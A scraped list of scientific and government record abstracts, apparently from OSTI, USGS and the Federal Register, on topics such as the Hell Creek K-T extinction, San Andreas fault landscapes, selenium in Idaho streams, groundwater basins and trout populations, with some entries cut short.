DOE Office of Scientific and Technical Information (OSTI.GOV)

Fastovsky, D.E.; Sheehan, P.M.

1992-01-01

In the terrestrial latest Cretaceous Hell Creek (HC) Formation, both non-biotic events and patterns of extinction and survivorship are consistent with an asteroid impact causing the extinctions. Environments through the last 2--3 million-year interval represented by the HC remained relatively constant: an aggrading coastal lowland dissected by meandering rivers. The K-T boundary occurred during an abrupt change to impeded drainage represented by coals and pond deposits formed under low-energy conditions. Because of the close temporal proximity of the sediments of the Paleocene Cannonball Sea to the K-T boundary in South Dakota, impeded drainage in the earliest Paleocene in eastern Montanamore » may be attributable to riverine base-level changes associated with a renewed transgression of the western interior sea during the K-T transition. Patterns within the biota mirror those of the paleoenvironments. The ecological diversity of HC dinosaurs remains statistically unchanged through HC time. Analyses of vertebrates at the species level indicate a differential extinction in which the terrestrial biota underwent far more extinction than its aquatic counterpart. There is no evidence for changing environments in the upper HC, and there is circumstantial evidence that the latest Cretaceous was a time of renewed transgression rather than regression. Likewise, biotic patterns do not accord with gradual, environmentally driven extinctions. While the paleoenvironmental change that marks the K-T transition in eastern Montana accounts for some of the extinctions, the pattern of differential extinction is concordant with an asteroid impact. In this scenario, aquatic ecosystems and some land-based food chains would be buffered by detritus-based feeding. Terrestrial systems, dependent upon primary productivity, would undergo a short-term loss of resources causing extinctions.« less

50 CFR 223.102 - Enumeration of threatened marine and anadromous species.

Code of Federal Regulations, 2012 CFR

2012-10-01

... townsendi Wherever found U.S.A. (Farallon Islands of CA) south to Mexico (Islas Revillagigedo) 50 FR 51252..., Lookingglass Hatchery, Upper Grande Ronde, Imnaha River, Big Sheep Creek, McCall Hatchery, Johnson Creek... found. Includes United States Florida, Puerto Rico, U.S. Virgin Islands, Navassa; and wider Caribbean...

Fragmented Landscapes in the San Gorgonio Pass Region: Insights into Quaternary Strain History of the Southern San Andreas Fault System

NASA Astrophysics Data System (ADS)

Kendrick, K. J.; Matti, J. C.; Landis, G. P.; Alvarez, R. M.

2006-12-01

The San Gorgonio Pass (SGP) region is a zone of structural complexity within the southern San Andreas Fault system that is characterized by (1) multiple strands of the San Andreas Fault (SAF), (2) intense and diverse microseismicity, (3) contraction within the SGP fault zone (SGPfz), and (4) complex and diverse landforms - all a consequence of structural complications in the vicinity of the southeastern San Bernardino Mountains (SBM). Multiple strands of the SAF zone in the SGP region partition the landscape into discrete geomorphic/geologic domains, including: San Gorgonio Mountain (SGM), Yucaipa Ridge (YR), Kitching Peak (KP), Pisgah Peak (PP), and Coachella Valley (CV) domains. The morphology of each domain reflects the tectonic history unique to that region. Development of the SGP knot in the Mission Creek strand of the SAF (SAFmi) led to westward deflection of the SAFmi, juxtaposition of the KP, PP, and SGM domains, initiation of uplift of YR domain along thrust faults in headwaters of San Gorgonio River, and development of the San Jacinto Fault. Slip on the SAF diminished as a result, thereby allowing integrated drainage systems to develop in the greater SGP region. San Gorgonio River, Whitewater River, and Mission Creek are discrete drainages that transport sediment across the SGM, YR, PP, KP, and CV domains into alluvial systems peripheral to the SGP region. There, depositional units (San Timoteo Formation, upper member, deformed gravels of Whitewater River) all contain clasts of SBM-type and San Gabriel Mountain-type basement, thus constraining slip on the SAF in the SGP region. Middle and late Pleistocene slip on the Mill Creek strand of the SAF (SAFm) in the SGP region has attempted to bypass the SGP knot, and has disrupted landscapes established during SAFmi quiescence. Restoration of right-slip on the SAFm is key to deciphering landscape history. Matti and others (1985, 1992) proposed that a bi-lobed alluvial deposit in the Raywood Flats area has been displaced by 8-10 km from entrenched bedrock drainages north of the SAFm (North Fork Whitewater River and Hell-For-Sure Canyon). This restoration, along with restoration of 3-4 km of dextral-slip along SAFmi, leads to an integrated drainage network that extended from San Gorgonio Peak southward across the SAFm and SAFmi, through the San Timoteo drainage basin and ultimately to the Santa Ana River drainage. Following final slip on the SAFmi, which occurred between approximately 1.2 and 0.5 Ma, the 8-10 km dextral-slip reconstruction on the SAFm can be used to restore the ancestral Mission Creek drainage system, which has always flowed southeast. A large alluvial-fan complex that overlies the SAFmi strand developed where the ancestral Mission Creek River debouched into the Coachella Valley. Analysis of cosmogenic radionuclides (21Ne from quartz) from surface boulders indicates that oldest deposits in the fan complex are about 400ka old, compatible with pedogenic development on the oldest surface. Approximately 2-4 km dextral slip on the youngest strands of the SAF (Banning and Garnet Hill) represents the latest bypass of the SGP structural knot. Cumulative displacement on all strands of the SAF in the greater SGP region appears to have been no more than ~18 km since inception of the left step in the SAFmi. Regional evidence suggests that this event initiated at ~1.2Ma, leading to a Quaternary slip rate on the SAF at SGP of no more than 10-15 mm/yr.

Selenium in the Blackfoot, Salt, and Bear River Watersheds

USGS Publications Warehouse

Hamilton, S.J.; Buhl, K.J.

2005-01-01

Nine stream sites in the Blackfoot River, Salt River, and Bear River watersheds in southeast Idaho, USA were sampled in May 2001 for water, surficial sediment, aquatic plants, aquatic invertebrates, and fish. Selenium was measured in these aquatic ecosystem components, and a hazard assessment was performed on the data. Water quality characteristics such as pH, hardness, and specific conductance were relatively uniform among the nine sites. Of the aquatic components assessed, water was the least contaminated with selenium because measured concentrations were below the national water quality criterion of 5 μ g/L at eight of the nine sites. In contrast, selenium was elevated in sediment, aquatic plants, aquatic invertebrates, and fish from several sites, suggesting deposition in sediments and food web cycling through plants and invertebrates. Selenium was elevated to concentrations of concern in fish at eight sites (> 4 μ g/g in whole body). A hazard assessment of selenium in the aquatic environment suggested a moderate hazard at upper Angus Creek (UAC) and Smoky Creek (SC), and high hazard at Little Blackfoot River (LiB), Blackfoot River gaging station (BGS), State Land Creek (SLC), upper (UGC) and lower Georgetown Creek (LGC), Deer Creek (DC), and Crow Creek (CC). The results of this study indicate that selenium concentrations from the phosphate mining area of southeast Idaho were sufficiently elevated in several ecosystem components to cause adverse effects to aquatic resources in southeastern Idaho.

Geologic map of the Skull Creek Quadrangle, Moffat County Colorado

USGS Publications Warehouse

Van Loenen, R. E.; Selner, Gary; Bryant, W.A.

1999-01-01

The Skull Creek quadrangle is in northwestern Colorado a few miles north of Rangely. The prominent structural feature of the Skull Creek quadrangle is the Skull Creek monocline. Pennsylvanian rocks are exposed along the axis of the monocline while hogbacks along its southern flank expose rocks that are from Permian to Upper Cretaceous in age. The Wolf Creek monocline and the Wolf Creek thrust fault, which dissects the monocline, are salient structural features in the northern part of the quadrangle. Little or no mineral potential exists within the quadrangle. A geologic map of the Lazy Y Point quadrangle, which is adjacent to the Skull Creek quadrangle on the west, is also available (Geologic Investigations Series I-2646). This companian map shows similar geologic features, including the western half of the Skull Creek monocline. The geology of this quadrangle was mapped because of its proximity to Dinosaur National Monument. It is adjacent to quadrangles previously mapped to display the geology of this very scenic and popular National Monument. The Skull Creek quadrangle includes parts of the Skull Creek Wilderness Study Area, which was assessed for its mineral resource potential.

Flood of September 7-9, 1987, in Lexington and Richland counties in the vicinity of Saint Andrews Road and Irmo, South Carolina

USGS Publications Warehouse

Guimaraes, W.B.

1989-01-01

Localized heavy rainfall on September 7, 1987, in Lexington and Richland Counties, South Carolina, caused severe flooding in the basins of Kinley Creek, Rawls Creek, and Stoop Creek, in the vicinity of Saint Andrews Road and the town of Irmo, South Carolina. The flooding damaged homes, furnishings, and landscaping. Rainfall, peak discharges, high-water elevations, and frequency relations of rainfall and discharge are tabulated and plotted for selected streams. The rain was most intense in the area along Rawls Creek, R-2 (tributary to Rawls Creek), Koon Branch (tributary to Rawls Creek), and the upper part of Kinley Creek. A rainfall of about 5.5 inches in 3 hours, which has a recurrence interval in excess of 100 years, was reported by local residents along these streams. High-water marks are presented in this report for Stoop Creek, Kinley Creek, K-1 (tributary to Kinley Creek), K-2 (tributary to Kinley Creek), unnamed tributary to Kinley Creek, Lowery Creek (tributary to Kinley Creek), Rawls Creek, R-2 (tributary to Rawls Creek), and Koon Branch (tributary to Rawls Creek). Peak discharges at the most downstream sites on Rawls Creek and Koon Branch had recurrence intervals of 75 years and 60 years, respectively. Peak discharges on Kinley Creek varied from 20 to 25 years north of K-1 basin to less than 10 years at K-1. The Stoop Creek basin had a recurrence interval of 10 years. (USGS)

Preliminary isostatic gravity map of the Grouse Creek and east part of the Jackpot 30 by 60 quadrangles, Box Elder County, Utah, and Cassia County, Idaho

USGS Publications Warehouse

Langenheim, Victoria; Willis, H.; Athens, N.D.; Chuchel, Bruce A.; Roza, J.; Hiscock, H.I.; Hardwick, C.L.; Kraushaar, S.M.; Knepprath, N.E.; Rosario, Jose J.

2013-01-01

A new isostatic residual gravity map of the northwest corner of Utah is based on compilation of preexisting data and new data collected by the Utah and United States Geological Surveys. Pronounced gravity lows occur over Junction, Grouse Creek, and upper Raft River Valleys, indicating significant thickness of low-density Tertiary sedimentary rocks and deposits. Gravity highs coincide with exposures of dense pre-Cenozoic rocks in the Raft River Mountains. Higher values in the eastern part of the map may be produced in part by deeper crustal density variations or crustal thinning. Steep linear gravity gradients coincide with mapped Neogene normal faults near Goose Creek and may define basin-bounding faults concealed beneath Junction and Upper Raft River Valleys.

Fish assemblages in the Upper Esopus Creek, NY: Current status, variability, and controlling factors

USGS Publications Warehouse

Baldigo, Barry P.; George, Scott D.; Keller, Walter T

2015-01-01

The Upper Esopus Creek receives water diversions from a neighboring basin through the Shandaken Tunnel (the portal) from the Schoharie Reservoir. Although the portal is closed during floods, mean flows and turbidity of portal waters are generally greater than in Esopus Creek above their confluence. These conditions could potentially affect local fish assemblages, yet such effects have not been assessed in this highly regulated stream. We studied water quality, hydrology, temperature, and fish assemblages at 18 sites in the Upper Esopus Creek during 2009–2011 to characterize the effects of the portal input on resident-fish assemblages and to document the status of the fishery resource. In general, fish-community richness increased by 2–3 species at mainstem sites near the portal, and median density and biomass of fish communities at sites downstream of the portal were significantly lower than they were at sites upstream of the portal. Median densities of Salmo trutta (Brown Trout) and all trout species were significantly lower than at mainstem sites downstream from the portal—25.1 fish/0.1 ha and 148.9 fish/0.1 ha, respectively—than at mainstem sites upstream from the portal—68.8 fish/0.1 ha and 357.7 fish/0.1 ha, respectively—yet median biomass for Brown Trout and all trout did not differ between sites from both reaches. The median density of young-of-year Brown Trout at downstream sites (9.3 fish/0.1 ha) was significantly lower than at upstream sites (33.9 fish/0.1 ha). Waters from the portal appeared to adversely affect the density and biomass of young-of-year Brown Trout, but lower temperatures and increased flows also improved habitat quality for mature trout at downstream sites during summer. These findings, and those from companion studies, indicate that moderately turbid waters from the portal had few if any adverse impacts on trout populations and overall fish communities in the Upper Esopus Creek during this study.

Hydrogeologic framework, groundwater and surface-water systems, land use, pumpage, and water budget of the Chamokane Creek basin, Stevens County, Washington

USGS Publications Warehouse

Kahle, Sue C.; Taylor, William A.; Lin, Sonja; Sumioka, Steven S.; Olsen, Theresa D.

2010-01-01

A study of the water resources of the unconsolidated groundwater system of the Chamokane Creek basin was conducted to determine the hydrogeologic framework, interactions of shallow and deep parts of the groundwater system with each other and the surface-water system, changes in land use and land cover, and water-use estimates. Chamokane Creek basin is a 179 mi2 area that borders and partially overlaps the Spokane Indian Reservation in southern Stevens County in northeastern Washington State. Aquifers within the Chamokane Creek basin are part of a sequence of glaciofluvial and glaciolacustrine sediment that may reach total thicknesses of about 600 ft. In 1979, most of the water rights in the Chamokane Creek basin were adjudicated by the United States District Court requiring regulation in favor of the Spokane Tribe of Indians' senior water right. The Spokane Tribe, the State of Washington, and the United States are concerned about the effects of additional groundwater development within the basin on Chamokane Creek. Information provided by this study will be used to evaluate the effects of potential increases in groundwater withdrawals on groundwater and surface-water resources within the basin. The hydrogeologic framework consists of six hydrogeologic units: The Upper outwash aquifer, the Landslide Unit, the Valley Confining Unit, the Lower Aquifer, the Basalt Unit, and the Bedrock Unit. The Upper outwash aquifer occurs along the valley floors of the study area and consists of sand, gravel, cobbles, boulders, with minor silt and (or) clay interbeds in places. The Lower aquifer is a confined aquifer consisting of sand and gravel that occurs at depth below the Valley confining unit. Median horizontal hydraulic conductivity values for the Upper outwash aquifer, Valley confining unit, Lower aquifer, and Basalt unit were estimated to be 540, 10, 19, and 3.7 ft/d, respectively. Many low-flow stream discharge measurements at sites on Chamokane Creek and its tributaries were at or near zero flow. The most notable exception is where Chamokane Creek is supported by discharge of large springs from the Upper outwash aquifer in the southern part of the basin. Most high-flow measurements indicated gains in streamflow (groundwater discharging to the stream). Large streamflow losses, however, were recorded near the north end of Walkers Prairie where streamflow directly recharges the Upper outwash aquifer. The similarity in seasonal water-level fluctuations in the Upper outwash aquifer and the Lower aquifer indicate that these systems may be fairly well connected. Land use and land cover change analysis indicates that Chamokane Creek basin has been dominated by forests with some pasture and agricultural lands with sparse residential development from the 1980s to present. Loss in forest cover represents the largest change in land cover in the basin between 1987 and 2009. This appears to be mostly due to forestry activities, especially in the northern part of the basin. Since 1987, more than 18,000 acres of evergreen forest have been logged and are at various stages of regrowth. Estimated average annual total groundwater pumpage in the basin increased from 224 million gallons per year (Mgal/yr) in 1980 to 1,330 Mgal/yr in 2007. The largest withdrawals during 2007 were to supply two fish hatcheries, with a combined total annual pumpage of about 1,150 Mgal. Annual groundwater pumpage values from 1980 through 2007 for the study area ranged from 21.1 to 28.9 Mgal/yr for domestic wells and 0.38 to 23.7 Mgal/yr for public supply. An approximate water budget for a typical year in the Chamokane Creek basin indicates that 19.6 in. of precipitation are balanced by 4.7 in. of streamflow discharge from the basin, and 14.9 in. of evapotranspiration.

Chemical and Hydrologic Data From the Cement Creek and Upper Animas River Confluence and Mixing Zone, Silverton, Colorado, September 1997

USGS Publications Warehouse

Schemel, Laurence E.; Cox, Marisa H.

2007-01-01

Cement Creek, an acidic tributary, discharges into the circum-neutral Animas River (pH>7) in Silverton, Colorado located in the high-elevation San Juan Mountains. Mixing of Animas River water with acidic metal rich Cement Creek water raises water pH and produces metal precipitates. This report presents selected anion, cation, chloride, and sulfate data along with hydrologic data highlighting the mixing of these streams during the low-flow period in late summer 1997.

Physical stratigraphy and hydrostratigraphy of Upper Cretaceous and Paleocene sediments, Burke and Screven Counties, Georgia

USGS Publications Warehouse

Falls, W.F.; Baum, J.S.; Prowell, D.C.

1997-01-01

Six geologic units are recognized in the Cretaceous and the Paleocene sediments of eastern Burke and Screven Counties in Georgia on the basis of lithologic, geophysical, and paleontologic data collected from three continuously cored testholes in Georgia and one testhole in South Carolina. The six geologic units are separated by regional unconformities and are designated from oldest to youngest as the Cape Fear Formation, the Middendorf Formation, the Black Creek Group (undivided), and the Steel Creek Formation in the Upper Cretaceous section, and the Ellenton and the Snapp Formations in the Paleocene section. The geologic units provide a spatial and temporal framework for the identification and correlation of a basal confining unit beneath the Midville aquifer system and five aquifers and five confining units in the Dublin and the Midville aquifer systems. The Dublin aquifer system is divided hydrostratigraphically into the Millers Pond, the upper Dublin, and the lower Dublin aquifers. The Midville aquifer system is divided hydrostratigraphically into the upper and the lower Midville aquifers. The fine-grained sediments of the Millers Pond, the lower Dublin, and the lower Midville confining units are nonmarine deposits and are present in the upper part of the Snapp Formation, the Black Creek Group (undivided), and the Middendorf Formation, respectively. Hydrologic data for specific sets of monitoring wells at the Savannah River Site in South Carolina and the Millers Pond site in Georgia confirm that these three units are leaky confining units and locally impede vertical ground-water flow between adjacent aquifers. The fine-grained sediments of the upper Dublin and the upper Midville confining units are marine-deltaic deposits of the Ellenton Formation and the Black Creek Group (undivided), respectively. Hydrologic data confirm that the upper Dublin confining unit regionally impedes vertical ground-water flow on both sides of the Savannah River. The upper Midville confining unit impedes vertical ground-water flow in the middle and downdip parts of the study area and is a leaky confining unit in the updip part of the study area. Recognition of the upper Dublin confining unit as a regional confining unit between the Millers Pond and the upper Dublin aquifers also confirms that the Millers Pond aquifer is a separate hydrologic unit from the rest of the Dublin aquifer system. This multi-aquifer framework increases the vertical hydrostratigraphic resolution of hydraulic properties and gradients in the Dublin and Midville aquifer systems for the investigation of ground-water flow beneath the Savannah River in the vicinity of the U.S. Department of Energy Savannah River Site.

Geohydrologic reconnaissance of the Avoca lignite deposit area near Williston, northwestern North Dakota

USGS Publications Warehouse

Horak, W.F.; Crosby, O.A.

1985-01-01

The Avoca lignite deposit in the Sentinel Butte Member of the Fort Union Formation consists of four potentially strippable lignite beds. Average bed thicknesses, in descending order, are 5, 5, 9, and 8 .feet. In the area between Stony Creek and Crazy Man Coulee, the lignite beds are unsaturated, and between Stony Creek and Little Muddy River, only the two lowest beds are saturated. Natural discharge to outcrops in the stream valleys results in low potentiometric levels in the lignite beds.Aquifers in sandstone beds in the Fox Hills Sandstone and the Hell Creek Formation probably would yield as much as 50 gallons per minute of sodium bicarbonate type water. Dissolved-solids concentrations range from 800 to 2,000 milligrams per liter. The aquifers are from 1,100 to 1,800 feet below land surface. Sandstone beds in the Ludlow and Cannonball Members of the Fort Union Formation probably could yield several gallons per minute of sodium bicarbonate water with dissolved-solids concentrations ranging from 800 to 2,000 milligrams per liter. Aquifers in the Ludlow and Cannonball Members lie between 700 and 1,300 feet below land surface. Individual sand beds in the Tongue River and Sentinel Butte Members of the Fort Union Formation are the shallowest aquifers encountered below the minable lignite beds. Properly constructed wells completed in these sand beds could yield as much as 40 gallons per minute. The water generally is a sodium bicarbonate type with dissolved-solids concentrations ranging from about 500 to 4,200 milligrams per liter. Alluvium and glacial-drift deposits constitute the Little Muddy aquifer bordering the lignite deposit on the west and south. The aquifer could yield as much as 1,200 gallons per minute of sodium bicarbonate type water with dissolved-solids concentrations ranging from 975 to 1, 730 milligrams per liter.Little Muddy Creek and Stony Creek have significant base flow. The flow is contributed partly by discharge from the lignite. Quality of water is least mineralized at high stream flows. Mining would not severely affect ground-water levels because potentiometric levels already are low. Chemically enriched leachate water from the spoils could percolate to the saturated zone and eventually reach the streams as base flow or recharge the glaciofluvial aquifers.

75 FR 30852 - Hydroelectric Power Development at Ridgway Dam, Dallas Creek Project, Colorado

Federal Register 2010, 2011, 2012, 2013, 2014

2010-06-02

... Gold, Assistant Regional Director, Upper Colorado Region. [FR Doc. 2010-13149 Filed 6-1-10; 8:45 am..., Dallas Creek Project, Colorado AGENCY: Bureau of Reclamation, Interior. ACTION: Notice of intent to..., Area Manager, Western Colorado Area Office, Bureau of Reclamation, 2764 Compass Drive, Suite 106, Grand...

76 FR 77769 - North Finger Grazing Authorization Project, Malheur National Forest, Grant County, OR

Federal Register 2010, 2011, 2012, 2013, 2014

2011-12-14

... allotments within the North Finger Landscape. These allotments are within the Upper Deer Creek, Basin Creek... is to authorize grazing on all or portions of the North Finger landscape in such a manner that will... incorporating adaptive management strategies across the North Finger landscape. Adaptive Management is defined...

Limnology of Taylor Creek impoundment : with reference to other bodies in Upper St Johns River Basin, Florida

USGS Publications Warehouse

Goolsby, D.A.; McPherson, Benjamin F.

1978-01-01

Taylor Creek Impoundment, on the western part of the upper St. Johns basin, Fla., provides flood control and flow regulation. The 4,000-acre impoundment was first filled in 1969. The water was of relatively poor quality during the first three years of its existence, 1970-72. The impoundment is deep enough for thermal stratification, and a thermocline usually develops at 8 to 10 feet. During 1970-72 the hypolimnion remained anaerobic for more than six months. The poor water quality is attributed to the decomposition of flooded vegetation, of soil organic matter, and to heavy growths of phytoplankton and duckweed stimulated by an abundant supply of nutrients. Since 1972, the quality of the water has improved because of flushing of the impoundment and depletion of leachable nutrients and soil organic matter. The water is now similar in quality to that of nearby Wolf and Jane Green Creeks. Large releases of water may produce velocities great enough to resuspend bottom sediments several miles downstream where Taylor Creek flows into Lake Poinsett. (Woodard-USGS)

The distribution of ichthyoplankton in thermal and non-thermal creeks and swamps on the Savannah River Plant, February-July 1985

DOE Office of Scientific and Technical Information (OSTI.GOV)

Paller, M.H.; Saul, B.M.; Hughes, D.W.

1986-01-01

The report deals with the distribution of ichthyoplankton in the Savannah River tributary streams and associated swamps located on the SRP during the 1985 spawning season (February-July). The 1985 sampling program was a continuation of the 1984 program and, except for the addition of seven sampling stations and minor methodological changes, incorporated the same sampling sites and procedures. The streams under study were Upper Three Runs Creek, Beaver Dam Creek, Four Mile Creek, Pen Branch, Steel Creek, Meyer's Branch and Lower Three Runs Creek. The objectives were to determine: (1) the density, distribution and species composition of ichthyoplankton at samplemore » sites in the creeks and swamps of the SRP; (2) how ichthyoplankton in SRP creeks and swamps is distributed in relation to habitat and temperature; (3) the effects of elevated temperatures on ichthyoplankton distribution and abundance and on the time of spawning; and (4) the magnitude of yearly variations in ichthyoplankton abundance in the creeks and swamps of the SRP and the reasons for these variations.« less

DOE Office of Scientific and Technical Information (OSTI.GOV)

Porter, Mark C.; Ketchum, Sarah

Noxious weeds threaten fish and wildlife habitat by contributing to increased sedimentation rates, diminishing riparian structure and function, and reducing forage quality and quantity. Wallowa Resources Wallowa Canyonlands Partnership (WCP) protects the unique ecological and economic values of the Hells Canyon grasslands along lower Joseph Creek, the lower Grande Ronde and Imnaha Rivers from invasion and degradation by noxious weeds using Integrated Weed Management techniques. Objectives of this grant were to inventory and map high priority weeds, coordinate treatment of those weeds, release and monitor bio-control agents, educate the public as to the dangers of noxious weeds and how tomore » deal with them, and restore lands to productive plant communities after treatment. With collaborative help from partners, WCP inventoried {approx} 215,000 upland acres and 52.2 miles of riparian habitat, released bio-controls at 23 sites, and educated the public through posters, weed profiles, newspaper articles, and radio advertisements. Additionally, WCP used other sources of funding to finance the treatment of 1,802 acres during the course of this grant.« less

Revision of middle Proterozoic Yellowjacket Formation, central Idaho, and revision of Cretaceous Slim Sam Formation, Elkhorn mountains area, Montana

USGS Publications Warehouse

Tysdal, Russell G.

2000-01-01

The Yellowjacket Formation is restricted to the strata originally assigned to it by Ross (1934). The Yellowjacket, the conformably overlying Hoodoo Quartzite, and succeeding unnamed argillaceous quartzite unit form a genetically related sequence that lies in a structural block delimited on the northeast by the Iron Lake fault. Directly northeast of the fault, strata currently assigned by others to the lower subunit of the Yellowjacket are correlated with the Apple Creek Formation in the Lemhi Range. Mapping in the western part of the Lemhi Range shows that the Apple Creek Formation lies depositionally above the Big Creek Formation and that no rocks of the Yellowjacket-Hoodoo unnamed unit stratigraphic sequence are present. In contrast, in the area of the Yellowjacket mapped by Ross (1934) and the area directly northeast of the Iron Lake Fault, the Big Creek Formation is absent, even though it is 2,700 m thick in the Lemhi Range. These data indicate that the Iron Lake Fault juxtaposed the Yellowjacket-Hoodoo-unnamed unit sequence against non-Yellowjacket strata to the northeast. The Upper Cretaceous Slim Sam Formation of the Elkhorn Mountains area is revised. Strata of the lower part are correlated with the regionally recognized marine Telegraph Creek Formation and the overlying marine to marginal marine Eagle Sandstone. Only lower strata of the Eagle are present in the study area and they are preserved discontinously. The nonmarine volcanic and volcaniclastic rocks of the upper part of the Slim Sam as originally defined retain the name Slim Sam Formation. These rocks, mainly of sedimentary origin, are genetically related to the Elkhorn Mountains Volcanics. The lower contact of the Slim Sam (restricted) is unconformable above the Eagle Sandstone or more commonly above the Telegraph Creek Formation. The upper contact is conformable with the Elkhorn Mountains Volcanics.

Technical review of managed underground storage of water study of the upper Catherine Creek watershed, Union County, northeastern Oregon

USGS Publications Warehouse

Snyder, Daniel T.

2014-01-01

Because of water diversions during summer, flow in Catherine Creek, a tributary to the Grande Ronde River in northeastern Oregon, is insufficient to sustain several aquatic species for which the stream is listed as critical habitat. A feasibility study for managed underground storage (MUS) in the upper Catherine Creek watershed in Union County, Oregon, was undertaken by Anderson Perry and Associates, Inc., to address the issue of low flows in summer. The results of the study were released as a report titled “Upper Catherine Creek Storage Feasibility Study for Grande Ronde Model Watershed,” which evaluated the possibility of diverting Catherine Creek streamflow during winter (when stream discharge is high), storing the water by infiltration or injection into an aquifer adjacent to the stream, and discharging the water back to the stream in summer to augment low flows. The method of MUS would be accomplished using either (1) aquifer storage and recovery (ASR) that allows for the injection of water that meets drinking-water-quality standards into an aquifer for later recovery and use, or (2) artificial recharge (AR) that involves the intentional addition of water diverted from another source to a groundwater reservoir. Concerns by resource managers that the actions taken to improve water availability for upper Catherine Creek be effective, cost-efficient, long-term, and based on sound analysis led the National Fish and Wildlife Foundation to request that the U.S. Geological Survey conduct an independent review and evaluation of the feasibility study. This report contains the results of that review. The primary objectives of the Anderson Perry and Associates study reviewed here included (1) identifying potentially fatal flaws with the concept of using AR and (or) ASR to augment the streamflow of Catherine Creek, (2) identifying potentially favorable locations for augmenting streamflow, (3) developing and evaluating alternatives for implementing AR and (or) ASR, and (4) identifying next steps and estimated costs for implementation. The Anderson Perry study was not intended as a comprehensive evaluation of feasibility, but, rather, an effort to develop a concept and preliminary evaluation of feasibility. Additionally, the feasibility study was limited to using existing data from which additional data needs were to be identified. The feasibility study mostly accomplished the goals of identifying potential fatal flaws and developing a project implementation plan. However, a more practical discussion of conclusions regarding the feasibility, likelihood for success, achievement of goals, and overall project costs could have received greater emphasis and would be of value to decision makers. With regard to objective (2), the subject report analyzed information from several possible sites examined for an MUS system. Sufficient cause is provided in the subject report to identify the basalt aquifer in the Milk Creek sub-area as having the greatest potential for MUS. Therefore, this review is primarily focused on the Milk Creek sub-area and the basalt aquifer.

Water resources and potential effects of ground-water development in Maggie, Marys, and Susie Creek basins, Elko and Eureka counties, Nevada

USGS Publications Warehouse

Plume, R.W.

1995-01-01

The basins of Maggie, Marys, and Susie Creeks in northeastern Nevada are along the Carline trend, an area of large, low-grade gold deposits. Pumping of ground water, mostly for pit dewatering at one of the mines, will reach maximum rates of about 70,000 acre-ft/yr (acre-feet per year) around the year 2000. This pumping is expected to affect ground-water levels, streamflow, and possibly the flow of Carlin spring, which is the water supply for the town of Carlin, Nev. Ground water in the upper Maggie Creek Basin moves from recharge areas in mountain ranges toward the basin axis and discharges as evapotranspiration and as inflow to the stream channel. Ground water in the lower Maggie, Marys, and Susie Creek Basins moves southward from recharge areas in mountain ranges and along the channel of lower Maggie Creek to the discharge area along the Humboldt River. Ground-water underflow between basins is through permeable bedrock of Schroeder Mountain from the upper Maggie Creek Basin to the lower Maggie Creek Basin and through permeable volcanic rocks from lower Maggie Creek to Carlin spring in the Marys Creek Basin. The only source of water to the combined area of the three basins is an estimated 420,000 acre-ft/yr of precipitation. Water leaves as runoff (38,000 acre-ft/yr) and evapotranspiration of soil moisture and ground water (380,000 acre-ft/yr). A small part of annual precipitation (about 25,000 acre-ft/yr) infiltrates the soil zone and becomes ground-water recharge. This ground water eventually is discharged as evapotranspiration (11,000 acre-ft/yr) and as inflow to the Humboldt River channel and nearby springflow (7,000 acre-ft/yr). Total discharge is estimated to be 18,000 acre-ft/yr.

Mineral Resources of the Hells Canyon Study Area, Wallowa County, Oregon, and Idaho and Adams Counties, Idaho

USGS Publications Warehouse

Simmons, George C.; Gualtieri, James L.; Close, Terry J.; Federspiel, Francis E.; Leszcykowski, Andrew M.

2007-01-01

Field studies supporting the evaluation of the mineral potential of the Hells Canyon study area were carried out by the U.S. Geological Survey and the U.S. Bureau of Mines in 1974-76 and 1979. The study area includes (1) the Hells Canyon Wilderness; (2) parts of the Snake River, Rapid River, and West Fork Rapid River Wild and Scenic Rivers; (3) lands included in the second Roadless Area Review and Evaluation (RARE II); and (4) part of the Hells Canyon National Recreation Area. The survey is one of a series of studies to appraise the suitability of the area for inclusion in the National Wilderness Preservation System as required by the Wilderness Act of 1964. The spectacular and mineralized area covers nearly 950 mi2 (2,460 km2) in northeast Oregon and west-central Idaho at the junction of the Northern Rocky Mountains and the Columbia Plateau.

Distribution and movement of bull trout in the upper Jarbidge River watershed, Nevada

USGS Publications Warehouse

Allen, M. Brady; Connolly, Patrick J.; Mesa, Matthew G.; Charrier, Jodi; Dixon, Chris

2010-01-01

In 2006 and 2007, we surveyed the occurrence of bull trout (Salvelinus confluentus), the relative distributions of bull trout and redband trout (Oncorhynchus mykiss), and stream habitat conditions in the East and West Forks of the Jarbidge River in northeastern Nevada and southern Idaho. We installed passive integrated transponder (PIT) tag interrogation systems at strategic locations within the watershed, and PIT-tagged bull trout were monitored to evaluate individual fish growth, movement, and the connectivity of bull trout between streams. Robust bull trout populations were found in the upper portions of the East Fork Jarbidge River, the West Fork Jarbidge River, and in the Pine, Jack, Dave, and Fall Creeks. Small numbers of bull trout also were found in Slide and Cougar Creeks. Bull trout were numerically dominant in the upper portions of the East Fork Jarbidge River, and in Fall, Dave, Jack, and Pine Creeks, whereas redband trout were numerically dominant throughout the rest of the watershed. The relative abundance of bull trout was notably higher at altitudes above 2,100 m. This study was successful in documenting bull trout population connectivity within the West Fork Jarbidge River, particularly between West Fork Jarbidge River and Pine Creek. Downstream movement of bull trout to the confluence of the East Fork and West Fork Jarbidge River both from Jack Creek (rkm 16.6) in the West Fork Jarbidge River and from Dave Creek (rkm 7.5) in the East Fork Jarbidge River was detected. Although bull trout exhibited some downstream movement during the spring and summer, much of their emigration occurred in the autumn, concurrent with decreasing water temperatures and slightly increasing flows. The bull trout that emigrated were mostly age-2 or older, but some age-1 fish also emigrated. Upstream movement by bull trout was detected less than downstream movement. The overall mean annual growth rate of bull trout in the East Fork and West Fork Jarbidge River was 36 mm. This growth rate is within the range reported in other river systems and is indicative of good habitat conditions. Mark-recapture methods were used to estimate a population of 147 age-1 or older bull trout in the reach of Jack Creek upstream of Jenny Creek.

Population genetic structure of Santa Ynez rainbow trout – 2001 based on microsatellite and mtDNA analyses

USGS Publications Warehouse

Nielsen, Jennifer L.; Zimmerman, Christian E.; Olsen, Jeffrey B.; Wiacek, Talia; Kretschmer, E.J.; Greenwald, Glenn M.; Wenburg, John K.

2003-01-01

